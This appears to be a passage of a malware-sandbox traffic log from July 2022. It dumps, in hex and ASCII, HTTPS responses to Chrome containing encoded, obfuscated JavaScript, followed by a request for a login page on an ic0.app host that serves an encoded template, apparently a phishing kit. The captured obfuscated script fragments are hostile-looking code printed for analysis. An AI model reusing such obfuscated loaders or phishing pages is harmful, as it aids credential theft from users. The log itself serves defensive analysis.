54 42 68 5a 6d 51 6f 64 47 68 70 63 79 77 77 65 44 4d 70 4f 32 6c 6d 4b 43 46 66 4d 48 67 30 4d 7a 59 31 4d 7a 49 70 6
5 32 5a 76 63 69 68 66 4d 48 67 79 4d 54 4a 68 4d 54 45 39 58 7a 42 34 59 57 51 7a 4e 6d 45 30 4c 46 38 77 65 47 46 
6b 4d 7a 5a 68 4e 44 31 66 4d 48 68 6c 5a 57 4d 78 4f 44 52 62 4a 31 78 34 4e 6d 4e 63 65 44 59 31 58 48 67 32 5a 56 
78 34 4e 6a 64 63 65 44 63 30 58 48 67 32 4f 43 64 64 4f 31 38 77 65 44 49 78 4d 6d 45 78 4d 54 78 66 4d 48 68 68 5a 
44 4d 32 59 54 51 37 4b 79 74 66 4d 48 67 79 4d 54 4a 68 4d 54 45 70 58 7a 
Data Ascii: hZDM2YTQ7KytfMHgyMTJhMTEpXzB4ZWVjMTg0W18weDQ3ZjlhZltfMHgyMTJhMTFdXT1fMHg3YTBhZ
mQodGhpcywweDMpO2lmKCFfMHg0MzY1MzIpe2ZvcihfMHgyMTJhMTE9XzB4YWQzNmE0LF8weGFkMzZhN
D1fMHhlZWMxODRbJ1x4NmNceDY1XHg2ZVx4NjdceDc0XHg2OCddO18weDIxMmExMTxfMHhhZDM2YTQ7K
ytfMHgyMTJhMTEpXz

2022-07-01 17:36:48 UTC 54 IN Data Raw: 6a 4f 44 45 34 4b 79 74 64 50 44 78 66 4d 48 67 7a 4d 7a 4d 30 4d 53 78 66 4d 48 67 7a 4d 7a 4d 30 4d 53 
73 39 4d 48 67 34 4f 33 4a 6c 64 48 56 79 62 69 42 66 4d 48 67 79 5a 47 49 33 59 54 41 39 58 7a 42 34 4e 44 42 68 4e 
6a 68 6b 4a 69 67 77 65 44 45 38 50 46 38 77 65 44 4d 30 4d 6a 67 77 4e 69 6b 74 4d 48 67 78 4c 46 38 77 65 44 49 32 
4d 47 4a 6b 4e 6c 73 6e 58 48 67 32 4e 79 64 64 50 56 38 77 65 44 51 77 59 54 59 34 5a 44 34 2b 50 6c 38 77 65 44 4d 
30 4d 6a 67 77 4e 69 78 66 4d 48 67 79 4e 6a 42 69 5a 44 5a 62 4a 31 78 34 4e 6a 55 6e 58 54 31 66 4d 48 67 7a 4d 7a 
4d 30 4d 53 31 66 4d 48 67 7a 4e 44 49 34 4d 44 59 73 58 7a 42 34 4d 6a 59 77 59 6d 51 32 57 79 64 63 65 44 59 7a 4a 
31 30 39 58 7a 42 34 4d 54 68 6a 4f 44 45 34 4c 46 38 77 65 44 4a 6b 59 6a 
Data Ascii: jODE4KytdPDxfMHgzMzM0MSxfMHgzMzM0MSs9MHg4O3JldHVybiBfMHgyZGI3YTA9XzB4NDBhNjhkJ
igweDE8PF8weDM0MjgwNiktMHgxLF8weDI2MGJkNlsnXHg2NyddPV8weDQwYTY4ZD4+Pl8weDM0MjgwNixfMHgyNjB
iZDZbJ1x4NjUnXT1fMHgzMzM0MS1fMHgzNDI4MDYsXzB4MjYwYmQ2WydceDYzJ109XzB4MThjODE4LF8weDJkYj

2022-07-01 17:36:48 UTC 58 IN Data Raw: 73 58 7a 42 34 4d 54 41 77 4e 44 42 6a 57 31 38 77 65 44 51 77 4f 47 49 34 59 53 73 72 58 54 31 66 4d 48 
67 78 59 54 63 78 4d 54 41 37 5a 57 78 7a 5a 58 74 6d 62 33 49 6f 58 7a 42 34 4d 57 59 33 5a 54 63 77 50 56 38 77 65 
44 51 7a 4d 7a 45 31 4d 6c 74 66 4d 48 67 30 4f 44 6b 79 59 7a 63 39 58 7a 42 34 4d 57 45 33 4d 54 45 77 4c 54 42 34 4
d 54 41 78 58 53 77 77 65 44 41 38 58 7a 42 34 4d 6d 5a 68 5a 57 51 35 57 31 38 77 65 44 51 34 4f 54 4a 6a 4e 31 30 
6d 4a 69 68 66 4d 48 67 78 5a 6a 64 6c 4e 7a 41 72 50 56 38 77 65 44 64 68 4d 47 46 6d 5a 43 68 30 61 47 6c 7a 4c 46 
38 77 65 44 4a 6d 59 57 56 6b 4f 56 74 66 4d 48 67 30 4f 44 6b 79 59 7a 64 64 4b 53 6b 73 58 7a 42 34 4d 57 45 33 4d 
54 45 77 50 56 38 77 65 44 52 68 4d 54 55 34 4e 69 68 30 61 47 6c 7a 4c 46 
Data Ascii: sXzB4MTAwNDBjW18weDQwOGI4YSsrXT1fMHgxYTcxMTA7ZWxzZXtmb3IoXzB4MWY3ZTcwPV8weDQzM
zE1MltfMHg0ODkyYzc9XzB4MWE3MTEwLTB4MTAxXSwweDA8XzB4MmZhZWQ5W18weDQ4OTJjN10mJihfM
HgxZjdlNzArPV8weDdhMGFmZCh0aGlzLF8weDJmYWVkOVtfMHg0ODkyYzddKSksXzB4MWE3MTEwPV8we
DRhMTU4Nih0aGlzLF

2022-07-01 17:36:48 UTC 62 IN Data Raw: 78 4d 6a 68 6b 4d 44 59 37 66 53 78 66 4d 48 67 35 4d 44 56 6c 4f 54 52 62 58 7a 42 34 4d 32 55 34 5a 54 
51 31 4b 44 42 34 4d 54 67 33 4b 56 31 62 4a 31 78 34 4e 7a 51 6e 58 54 31 6d 64 57 35 6a 64 47 6c 76 62 69 67 70 65 
33 5a 68 63 69 42 66 4d 48 67 34 59 6a 52 69 4d 6a 45 39 58 7a 42 34 4d 32 55 34 5a 54 51 31 4c 46 38 77 65 44 51 32 
5a 6a 55 35 59 53 78 66 4d 48 67 7a 59 6a 55 35 5a 57 55 73 58 7a 42 34 59 6a 42 6d 4e 44 63 73 58 7a 42 34 59 32 46 
6d 4e 44 64 6c 4c 46 38 77 65 44 52 68 4d 32 49 79 5a 43 78 66 4d 48 67 78 4e 44 51 78 5a 47 49 39 4d 48 67 77 4c 46 
38 77 65 44 49 78 59 54 56 68 4d 44 31 30 61 47 6c 7a 57 79 64 63 65 44 59 78 4a 31 30 73 58 7a 42 34 5a 47 49 77 4d 
7a 4d 34 50 58 52 6f 61 58 4e 62 4a 31 78 34 4e 6d 4d 6e 58 53 78 66 4d 48 
Data Ascii: xMjhkMDY7fSxfMHg5MDVlOTRbXzB4M2U4ZTQ1KDB4MTg3KV1bJ1x4NzQnXT1mdW5jdGlvbigpe3Zhc
iBfMHg4YjRiMjE9XzB4M2U4ZTQ1LF8weDQ2ZjU5YSxfMHgzYjU5ZWUsXzB4YjBmNDcsXzB4Y2FmNDdlLF8weDRhM2I
yZCxfMHgxNDQxZGI9MHgwLF8weDIxYTVhMD10aGlzWydceDYxJ10sXzB4ZGIwMzM4PXRoaXNbJ1x4NmMnXSxfMH

2022-07-01 17:36:48 UTC 66 IN Data Raw: 66 4d 48 67 79 5a 6a 45 79 4f 54 45 6f 4d 48 67 78 4f 54 4d 70 58 53 67 77 65 44 67 77 4d 44 41 70 4c 54 42 
34 4f 44 74 69 63 6d 56 68 61 7a 74 6b 5a 57 5a 68 64 57 78 30 4f 6c 38 77 65 44 49 79 4e 44 68 6b 5a 69 68 46 63 6e 
4a 76 63 69 68 66 4d 48 67 79 5a 6a 45 79 4f 54 45 6f 4d 48 67 78 4e 54 59 70 4b 53 6b 37 66 58 4e 33 61 58 52 6a 61 
43 68 66 4d 48 67 31 4e 6a 49 33 4e 44 41 39 58 7a 42 34 4e 54 42 6d 4d 6a 6b 34 50 44 77 77 65 44 52 38 58 7a 42 34 
4d 57 4d 30 4d 32 4e 6c 4c 46 38 77 65 44 49 77 59 7a 64 6b 4d 56 74 66 4d 48 67 7a 4d 44 63 7a 4d 54 59 72 4b 31 30 
39 58 7a 42 34 4e 54 59 79 4e 7a 51 77 4c 46 38 77 65 44 46 6a 4e 44 4e 6a 5a 53 6c 37 59 32 46 7a 5a 53 42 66 4d 48 
67 79 4d 6a 67 7a 5a 6a 55 36 63 33 64 70 64 47 4e 6f 4b 48 52 6f 61 58 
Data Ascii: fMHgyZjEyOTEoMHgxOTMpXSgweDgwMDApLTB4ODticmVhaztkZWZhdWx0Ol8weDIyNDhkZihFcnJvc
ihfMHgyZjEyOTEoMHgxNTYpKSk7fXN3aXRjaChfMHg1NjI3NDA9XzB4NTBmMjk4PDwweDR8XzB4MWM0M2NlLF8weDI
wYzdkMVtfMHgzMDczMTYrK109XzB4NTYyNzQwLF8weDFjNDNjZSl7Y2FzZSBfMHgyMjgzZjU6c3dpdGNoKHRoaX

2022-07-01 17:36:48 UTC 70 IN Data Raw: 66 4d 48 67 30 5a 6a 59 32 5a 44 4d 6f 4d 48 67 78 4e 57 51 70 58 53 67 70 57 79 64 63 65 44 63 7a 58 48 
67 32 4e 56 78 34 4e 6a 46 63 65 44 63 79 58 48 67 32 4d 31 78 34 4e 6a 67 6e 58 53 67 6e 58 48 67 79 4f 46 78 34 4d 
6a 68 63 65 44 49 34 58 48 67 79 5a 56 78 34 4d 6d 4a 63 65 44 49 35 58 48 67 79 59 6c 78 34 4d 6a 6c 63 65 44 4a 69 
58 48 67 79 4f 56 78 34 4d 6d 4a 63 65 44 49 30 4a 79 6c 62 58 7a 42 34 4e 47 59 32 4e 6d 51 7a 4b 44 42 34 4d 54 56 
6b 4b 56 30 6f 4b 56 74 66 4d 48 67 30 5a 6a 59 32 5a 44 4d 6f 4d 48 67 78 4e 54 51 70 58 53 68 66 4d 48 67 7a 59 6a 
42 69 4f 44 67 70 57 31 38 77 65 44 52 6d 4e 6a 5a 6b 4d 79 67 77 65 44 46 68 4d 53 6c 64 4b 46 38 77 65 44 52 6d 4e 
6a 5a 6b 4d 79 67 77 65 44 45 35 5a 53 6b 70 4f 33 30 70 4f 31 38 77 65 44 
Data Ascii: fMHg0ZjY2ZDMoMHgxNWQpXSgpWydceDczXHg2NVx4NjFceDcyXHg2M1x4NjgnXSgnXHgyOFx4Mjhce
DI4XHgyZVx4MmJceDI5XHgyYlx4MjlceDJiXHgyOVx4MmJceDI0JylbXzB4NGY2NmQzKDB4MTVkKV0oKVtfMHg0ZjY
2ZDMoMHgxNTQpXShfMHgzYjBiODgpW18weDRmNjZkMygweDFhMSldKF8weDRmNjZkMygweDE5ZSkpO30pO18weD

2022-07-01 17:36:48 UTC 74 IN Data Raw: 34 4d 6a 6c 63 65 44 49 35 58 48 67 7a 59 6c 78 34 4d 47 46 63 65 44 49 77 58 48 67 79 4d 46 78 34 4d 6a 
42 63 65 44 49 77 58 48 67 79 4d 46 78 34 4d 6a 42 63 65 44 49 77 58 48 67 79 4d 46 78 34 4e 6a 4e 63 65 44 5a 6d 58 
48 67 32 5a 56 78 34 4e 7a 4e 63 65 44 63 30 58 48 67 79 4d 46 78 34 4e 6d 4e 63 65 44 59 31 58 48 67 79 4d 46 78 34 
4d 32 52 63 65 44 49 77 58 48 67 32 4e 46 78 34 4e 6d 5a 63 65 44 59 7a 58 48 67 33 4e 56 78 34 4e 6d 52 63 65 44 59 
31 58 48 67 32 5a 56 78 34 4e 7a 52 63 65 44 4a 6c 58 48 67 32 4d 31 78 34 4e 7a 4a 63 65 44 59 31 58 48 67 32 4d 56 
78 34 4e 7a 52 63 65 44 59 31 58 48 67 30 4e 56 78 34 4e 7a 5a 63 65 44 59 31 58 48 67 32 5a 56 78 34 4e 7a 52 63 65 
44 49 34 58 48 67 79 4d 6c 78 34 4e 44 68 63 65 44 55 30 58 48 67 30 5a 46 
Data Ascii: 4MjlceDI5XHgzYlx4MGFceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4NjNceDZmXHg2Z
Vx4NzNceDc0XHgyMFx4NmNceDY1XHgyMFx4M2RceDIwXHg2NFx4NmZceDYzXHg3NVx4NmRceDY1XHg2Z
Vx4NzRceDJlXHg2M1x4NzJceDY1XHg2MVx4NzRceDY1XHg0NVx4NzZceDY1XHg2ZVx4NzRceDI4XHgyMlx4NDhceDU
0XHg0ZF

2022-07-01 17:36:48 UTC 78 IN Data Raw: 33 4e 46 78 34 4e 6a 56 63 65 44 49 77 58 48 67 32 5a 46 78 34 4e 6d 5a 63 65 44 59 30 58 48 67 32 4e 53 
63 73 4a 31 78 34 4e 7a 5a 63 65 44 59 78 58 48 67 33 4d 6c 78 34 4d 6a 41 6e 4c 43 64 63 65 44 63 7a 58 48 67 32 4e 
56 78 34 4e 6a 46 63 65 44 63 79 58 48 67 32 4d 31 78 34 4e 6a 67 6e 4c 43 64 63 65 44 59 78 58 48 67 33 4d 46 78 34 
4e 7a 42 63 65 44 5a 6a 58 48 67 33 4f 53 63 73 4a 31 78 34 4d 7a 46 63 65 44 4d 34 58 48 67 32 5a 6c 78 34 4e 54 68 
63 65 44 52 68 58 48 67 32 59 31 78 34 4e 6d 4a 63 65 44 55 77 4a 79 77 6e 58 48 67 30 5a 56 78 34 4e 47 5a 63 65 44 
52 6c 58 48 67 30 4e 53 63 73 4a 31 78 34 4e 6a 4e 63 65 44 63 79 58 48 67 32 4e 56 78 34 4e 6a 46 63 65 44 63 30 58 
48 67 32 4e 56 78 34 4e 44 56 63 65 44 5a 6a 58 48 67 32 4e 56 78 34 4e 6d 
Data Ascii: 3NFx4NjVceDIwXHg2ZFx4NmZceDY0XHg2NScsJ1x4NzZceDYxXHg3Mlx4MjAnLCdceDczXHg2NVx4N
jFceDcyXHg2M1x4NjgnLCdceDYxXHg3MFx4NzBceDZjXHg3OScsJ1x4MzFceDM4XHg2Zlx4NThceDRhXHg2Y1x4NmJ
ceDUwJywnXHg0ZVx4NGZceDRlXHg0NScsJ1x4NjNceDcyXHg2NVx4NjFceDc0XHg2NVx4NDVceDZjXHg2NVx4Nm

Timestamp
kBytes
transferred

Direction Data
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

4 192.168.2.3 49742 145.40.97.98 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 17:36:48 UTC 81 OUT GET /login.html?okb=o8MWQ8otfZuw6QsAaLjPPIoQ&rhwh=Pu55NB1yr2jpvYRqSE&plpb=azaaxBfNMnkncPlD
1dbKCjabbV&pepwe=NNmUbBHh57IDtuVbpJCTiLbygyk HTTP/1.1
Host: h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app/l
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-07-01 17:36:49 UTC 82 IN HTTP/1.1 200 OK
Server: nginx/1.21.3
Date: Fri, 01 Jul 2022 17:36:49 GMT
Content-Type: text/html
Content-Length: 145666
Connection: close
ic-certificate: certificate=:2dn3o2R0cmVlgwGDAYMBgwJIY2FuaXN0ZXKDAYIEWCAQVKwzSZ8Atby0Yodr6
wTbmud3Swtvhm2bhcXcs2AETIMBggRYIIbu2FhlsDgvaMFtAKa5DEKV2Au1uzHWU5TSSRxjuLz5gwGCBFggFRbetAZ
lskRwdIIxVsB1f9KVJj3rugV1UbinI8+wifuDAYMBggRYIN0CClzTXpHKYMh0o/7GUOUDPiRUPiX/+EuBm5H5gk9wg
wGDAYIEWCC2HQDP3BwyUeiobD219uzMOvrh7diHn7nHA4saYe7f5oMBgwGDAYMBgwJKAAAAAABwFiUBA
YMBgwGDAYMCTmNlcnRpZmllZF9kYXRhggNYIKDjdrFhdYN8XaiCRVAKnpGbSO1c/qAuBJaNAFQ1nr4pggRYIIPFa/F
N3j0o3mbGkrX8nZfp3ZhbatcrD+b4ToqN89yyggRYIPBH5p8Vqfj1hRnHFe3gfB6Ynwktu+evoMCF1XJwHCiSggRYI
F+W4fUmhjXLoFGdAzt3ZJ1e8HASiQ7D/3viZbMsAhowggRYILuffDjQiappUTGAqta9I7j0W+DUKqfEGVek6MOSGNW
5ggRYIK8JnebtggnuQTkcoxhNOLBkH0iCcc6a2Ki5x4Kftm98ggRYIN4O245T06Q9GWDPDn5OMRQu1/qIknAokD/EP
I1WVH2GggRYIC1IvxXZuZ5iwfv8cF//MGpNmGtqGqCR03vDN2qdgHFnggRYIGyBtVcxslDerGb3tnpiqj9nSJgJQ0k
htS+R4OPk/H2KggRYIFWQNlm0vxaZjBL6HPZXqj6Z9MdyFBeOLvZsIio/qs/tggRYIIzlqIo1k1L/03+DbbN0SMgjK
XZrXAaPWeg2uwnq4fstggRYICKazNELsBFNpmIvTWAg2FcUHOv2wK4QxDguNFaXuWSFgwGCBFggTgsK7
0mpIsr5OY2a8FqkxazyVPwuAGKVTE1pyHw5kdODAkR0aW1lggNJhb3u/Oak8f4WaXNpZ25hdHVyZVgwlVUaEpd8lXb
/2KMPbMsUdZUqP7RKRvdF4jHyOoAmM0riJb7S2olDYBe+bYNDWdfQamRlbGVnYXRpb26iaXN1Ym5ldF9pZFgdRReLZ
qQHpNWcCk1nM72izj83wRG0JX7EGQj0+AJrY2VydGlmaWNhdGVZAlfZ2feiZHRyZWWDAYIEWCCl+1Ec0
X1DPiC5WJNBI0DfcKEpwlCs19Zud17pY0athYMBgwJGc3VibmV0gwGDAYMBggRYIILbkD13Op8gwGxVWf7O1uGq/rM
o760aSLMxY6EHe4ZcgwGCBFggRmpwKGz5rOmAHKU+Iq9u4FmglP1gSYYG1IS2hUBYMH2DAYIEWCBqDNC
BsmiGCC/kxTq3TX6j8oozoI937FKbUm2mgLiUZ4MBgwJYHUUXi2akB6TVnApNZzO9os4/N8ERtCV+xBkI9PgCgwGDA
k9jYW5pc3Rlcl9yYW5nZXOCA1gb2dn3gYJKAAAAAABwAAABAUoAAAAAAH///wEBgwJKcHVibGljX2tleYIDWIUwgYI
wHQYNKwYBBAGC3HwFAwECAQYMKwYBBAGC3HwFAwIBA2EAlV9S9zwt7FmmN7KU5QuTTbXW3innO7z4Tn2
GpKxBute1OfmBet6JFpYdnda/klcBDVhXFW6P5qr89v0Gh5XnC9M5mzQRMAyczI66DQaMEOTPtvTifRlbHq14XWGOs
5O5ggRYIACb5up/r6zo98JL3iVaR+5K50E9UB4zvto/crWh7042ggRYIMxAZ/PAkJXsYM3e1Qv0Q60gC6qyxO/Xzgp
9AL6XuHY+ggRYIC2Fa7p7bIAXHOjl0SG7fkRQs1ZaZE2RNen+WIQoHB+5gwJEdGltZYIDScWT7NDHh8f+FmlzaWduY
XR1cmVYMLXVfcWrRxX/Ue2ri3Fi6uFtV/3DtqLitfnvAUjfOiUhr9X9f7CfMQ/bp0zVbB6R8g==:, tree=:2dn3gwJLaHR0cF9h
c3NldHODAYMBggRYIHNhAUPP79ByPY0g9kuoT8uW288FrR/yZk7zQRgvrOZWgwJLL2xvZ2luLmh0bWyCA1gg2fDLzJ
axOsKe95yVKlIhc5fTnuQpePm5rtL0o1y8QkGCBFggOxsWUDp29QKNhH4SGrydg3UOccMfbJzjwGrT+WONWu0=:
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, HEAD, OPTIONS
Access-Control-Allow-Headers: DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Ran
ge,Cookie
Access-Control-Expose-Headers: Content-Length,Content-Range
X-Cache-Status: MISS

2022-07-01 17:36:49 UTC 84 IN Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 74 65 6d 70 6c 61 74 65 20 69 
64 3d 22 64 39 31 62 32 30 61 33 2d 65 35 61 65 2d 34 36 66 30 2d 39 31 36 30 2d 63 64 31 65 65 62 34 64 36 66 61 62 
22 3e 65 4a 7a 74 2f 66 6d 57 34 37 68 79 4c 34 7a 2b 62 61 2f 6c 64 35 42 72 48 35 2f 75 74 69 70 54 38 31 53 39 71 2b 
32 63 6c 5a 4e 53 4f 53 74 7a 75 36 38 58 4a 56 45 53 4e 61 64 49 6a 66 33 56 66 5a 2f 37 47 76 66 4a 37 67 38 67 51 
49 4a 6b 67 46 4a 57 56 6d 2b 66 73 2b 37 57 4e 42 42 42 6a 49 46 41 49 42 44 44 58 33 76 4f 61 4a 67 59 47 75 50 75 
31 30 2f 6d 2b 4e 4e 76 66 2b 32 5a 52 76 75 33 66 2f 6e 6e 52 4f 4b 76 64 6d 74 6d 54 5a 32 45 50 57 74 39 2f 64 52 7a 
6e 4b 6e 39 4a 5a 55 79 2b 73 5a 71 76 7a 75 5a 64 49 65 6d 4d 62 
Data Ascii: <html><head></head><body><template id="d91b20a3-e5ae-46f0-9160-cd1eeb4d6fab">eJzt/fmW47h
yL4z+ba/ld5BrH5/utipT81S9q+2clZNSOStzu68XJVESNadIjf3VfZ/7GvfJ7g8gQIJkgFJWVm+fs+7WNBBBjIFAI
BDDX3vOaJgYGuPu10/m+NNvf+2ZRvu3f/nnROKvdmtmTZ2EPWt9/dRznKn9JZUy+sZqvzuZdIemMb

2022-07-01 17:36:49 UTC 86 IN Data Raw: 67 58 39 2f 73 59 46 73 71 44 48 4e 35 37 30 69 5a 2b 62 55 4e 4a 77 77 38 6b 38 63 77 7a 48 33 51 4f 53 51 
4d 54 56 59 70 6e 49 2f 53 49 72 64 6f 36 43 79 47 51 39 71 61 4e 6e 4f 6e 6a 46 30 76 72 39 4e 62 62 50 4e 38 69 57 
4b 79 66 6e 39 74 37 44 61 35 6d 53 76 42 62 35 67 5a 70 43 67 2f 6f 53 5a 57 69 31 6e 50 76 74 59 4e 38 73 73 79 4b 
4c 38 4c 70 72 32 4a 73 35 48 69 6d 47 33 62 79 6d 43 63 79 66 66 58 77 53 2f 66 56 73 72 7a 48 48 4c 47 6c 49 49 6e 5
0 61 70 33 63 69 59 34 6a 30 62 6d 42 52 5a 7a 4c 56 38 6b 75 76 6d 74 6d 65 2f 7a 59 30 50 44 6b 49 77 49 36 6f 52 43 
72 61 44 6c 77 48 55 78 30 73 4e 35 6b 4e 4f 4d 52 2f 56 57 6a 30 54 56 4f 2f 6a 68 51 62 7a 49 51 73 31 67 6c 53 4d 58 
4a 2b 62 57 58 39 78 73 6b 61 6d 2f 51 4d 49 54 6a 41 66 71 74 43 
Data Ascii: gX9/sYFsqDHN570iZ+bUNJww8k8cwzH3QOSQMTVYpnI/SIrdo6CyGQ9qaNnOnjF0vr9NbbPN8iWKyf
n9t7Da5mSvBb5gZpCg/oSZWi1nPvtYN8ssyKL8Lpr2Js5HimG3bymCcyffXwS/fVsrzHHLGlIInPap3ciY4j0bmBRZ
zLV8kuvmtme/zY0PDkIwI6oRCraDlwHUx0sN5kNOMR/VWj0TVO/jhQbzIQs1glSMXJ+bWX9xskam/QMITjAfqtC
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2022-07-01 17:36:49 UTC 90 IN Data Raw: 56 33 48 4b 30 78 71 73 32 53 62 31 59 30 72 76 61 6a 5a 6b 35 52 53 5a 43 65 4e 42 78 70 69 5a 73 4d 48 
78 69 52 47 75 39 6c 73 66 4d 31 71 47 67 6f 4f 2f 32 59 4e 47 41 76 65 6a 39 6a 46 72 45 69 38 54 71 6b 32 4b 44 70 
73 50 53 51 36 68 6f 6a 62 6f 51 35 4a 49 6f 61 6a 62 2b 5a 41 6b 6d 69 6b 36 64 74 79 6d 64 76 5a 42 44 32 4a 4b 4a 6
d 52 78 49 5a 4e 6a 71 48 52 38 79 50 70 4c 79 57 53 58 34 6a 37 4d 4d 71 75 35 6b 41 57 47 37 4a 78 74 5a 2f 49 68 
71 62 4f 53 79 55 37 46 43 64 76 6a 6a 78 66 70 5a 55 51 57 36 2b 2b 38 4f 66 54 51 32 6e 7a 51 64 43 4f 51 44 56 6d 
6b 76 2b 4e 31 4b 7a 6a 39 45 59 67 71 63 69 45 4c 39 45 6d 4e 4f 2b 6a 73 31 4f 68 48 49 49 2f 4d 68 79 7a 55 58 39 4a 
64 59 42 4f 4d 77 4d 65 4c 64 48 4d 68 43 2f 51 58 7a 70 6e 5a 42 5a 73 
Data Ascii: V3HK0xqs2Sb1Y0rvajZk5RSZCeNBxpiZsMHxiRGu9lsfM1qGgoO/2YNGAvej9jFrEi8Tqk2KDpsPSQ6hojboQ5JI
oajb+ZAkmik6dtymdvZBD2JKJmRxIZNjqHR8yPpLyWSX4j7MMqu5kAWG7JxtZ/IhqbOSyU7FCdvjjxfpZUQW6++8Of
TQ2nzQdCOQDVmkv+N1Kzj9EYgqciEL9EmNO+js1OhHII/MhyzUX9JdYBOMwMeLdHMhC/QXzpnZBZs

2022-07-01 17:36:49 UTC 94 IN Data Raw: 59 6f 74 43 58 51 36 41 30 47 34 67 6c 32 44 5a 50 38 4d 4a 4e 62 41 6c 34 55 79 64 70 33 63 31 6d 77 34 35 
4f 56 79 51 50 55 6f 2b 6b 76 4d 57 50 61 6b 52 54 56 5a 47 59 72 36 76 4e 6b 32 43 79 61 6d 47 73 45 32 6b 4b 45 50 
53 6d 77 6e 4e 51 59 70 34 61 55 6a 33 48 50 6b 48 4d 64 43 37 6e 2b 7a 55 67 6e 42 50 77 39 4b 70 50 69 73 49 33 2f 
59 36 61 56 6b 36 4b 2f 75 43 71 51 74 43 2f 5a 67 55 76 54 57 39 51 67 44 45 74 41 71 77 39 4a 46 72 76 42 78 68 72 6
e 73 49 76 55 6b 53 58 2b 54 4d 59 30 44 59 38 57 72 51 53 6d 68 75 65 43 47 54 59 77 49 6d 4d 78 6a 77 79 7a 4f 44 
57 69 48 4c 48 6a 31 31 44 30 2f 70 42 61 75 63 39 2f 71 4a 51 7a 45 4a 4d 67 55 6d 49 6f 64 49 4d 46 63 68 67 49 4b 54 
32 44 4e 5a 41 74 75 37 2b 6e 58 53 71 78 7a 46 53 65 59 39 56 6d 61 
Data Ascii: YotCXQ6A0G4gl2DZP8MJNbAl4Uydp3c1mw45OVyQPUo+kvMWPakRTVZGYr6vNk2CyamGsE2kKEPSmw
nNQYp4aUj3HPkHMdC7n+zUgnBPw9KpPisI3/Y6aVk6K/uCqQtC/ZgUvTW9QgDEtAqw9JFrvBxhrnsIvUkSX+TMY0DY
8WrQSmhueCGTYwImMxjwyzODWiHLHj11D0/pBauc9/qJQzEJMgUmIodIMFchgIKT2DNZAtu7+nXSqxzFSeY9Vma

2022-07-01 17:36:49 UTC 98 IN Data Raw: 74 4a 54 55 43 63 39 4a 6c 43 47 47 68 79 46 73 31 5a 6a 43 73 53 57 4a 63 50 36 49 30 2b 75 46 50 31 57 
30 4b 32 78 4a 4b 68 68 7a 47 43 7a 4e 4b 42 48 65 67 32 6a 69 6d 35 45 6d 70 69 4c 4f 45 33 6e 59 35 78 45 46 44 73 
4a 73 50 70 59 6b 61 34 6e 46 77 4b 38 2b 31 68 57 4e 51 61 34 30 76 46 4e 69 48 5a 42 63 74 74 64 6a 48 70 68 75 61 
5a 43 71 4b 78 79 55 62 2b 76 4a 4f 4b 45 65 39 74 50 4b 32 2f 34 4d 51 6e 6e 51 32 36 44 46 48 6b 57 70 4c 77 34 52 
43 36 6b 67 49 4e 6b 79 6c 75 36 71 41 62 45 34 58 61 51 79 6b 35 49 54 50 4a 4b 54 43 34 6c 55 34 51 45 4d 37 57 76 
41 49 34 75 51 61 77 2f 49 49 66 59 6f 59 6f 77 47 55 39 34 76 42 2f 59 36 74 4c 7a 48 47 7a 64 61 41 43 57 31 6b 54 71 
77 34 61 50 6e 67 44 53 44 64 43 47 30 78 68 56 46 79 56 59 4b 4f 4d 30 
Data Ascii: tJTUCc9JlCGGhyFs1ZjCsSWJcP6I0+uFP1W0K2xJKhhzGCzNKBHeg2jim5EmpiLOE3nY5xEFDsJsPp
Yka4nFwK8+1hWNQa40vFNiHZBcttdjHphuaZCqKxyUb+vJOKEe9tPK2/4MQnnQ26DFHkWpLw4RC6kgINkylu6qAbE4
XaQyk5ITPJKTC4lU4QEM7WvAI4uQaw/IIfYoYowGU94vB/Y6tLzHGzdaACW1kTqw4aPngDSDdCG0xhVFyVYKOM0

2022-07-01 17:36:49 UTC 102 IN Data Raw: 37 38 49 65 69 48 5a 6c 6c 76 4d 34 43 30 44 67 75 49 6f 2b 53 45 70 4c 44 54 77 66 53 6c 63 6a 36 52 56 41 
67 56 78 69 74 30 73 69 70 63 53 4f 49 4b 68 75 68 5a 66 6e 41 43 36 34 7a 68 6c 77 51 51 71 4b 46 54 42 74 6a 6c 37 
76 6a 65 63 61 70 36 41 46 71 58 75 68 38 61 47 62 6b 54 70 78 6f 47 65 51 79 6b 44 64 78 49 61 2f 4d 44 49 6a 53 66 
4d 6e 51 46 39 79 53 6b 6c 6a 4b 66 6a 2b 6d 73 79 30 59 65 61 6b 7a 47 6d 45 32 43 4c 77 44 30 73 79 46 46 4a 32 41 
52 68 53 75 46 58 32 38 59 38 64 37 38 53 6f 6c 45 68 50 34 71 4d 35 74 49 37 6f 61 41 39 53 68 44 6c 43 62 42 79 53 
65 5a 57 4f 35 38 65 49 4f 61 4b 52 62 6b 6c 6c 39 37 46 4a 4f 76 30 76 79 74 30 38 6d 46 38 59 4a 51 34 67 58 36 44 74 
76 34 6f 79 7a 4d 66 59 6e 47 74 61 4a 4a 30 35 4d 47 30 78 6e 51 70 
Data Ascii: 78IeiHZllvM4C0DguIo+SEpLDTwfSlcj6RVAgVxit0sipcSOIKhuhZfnAC64zhlwQQqKFTBtjl7vjecap6AFqXuh
8aGbkTpxoGeQykDdxIa/MDIjSfMnQF9ySkljKfj+msy0YeakzGmE2CLwD0syFFJ2ARhSuFX28Y8d78SolEhP4qM5tI
7oaA9ShDlCbBySeZWO58eIOaKRbkll97FJOv0vyt08mF8YJQ4gX6Dtv4oyzMfYnGtaJJ05MG0xnQp

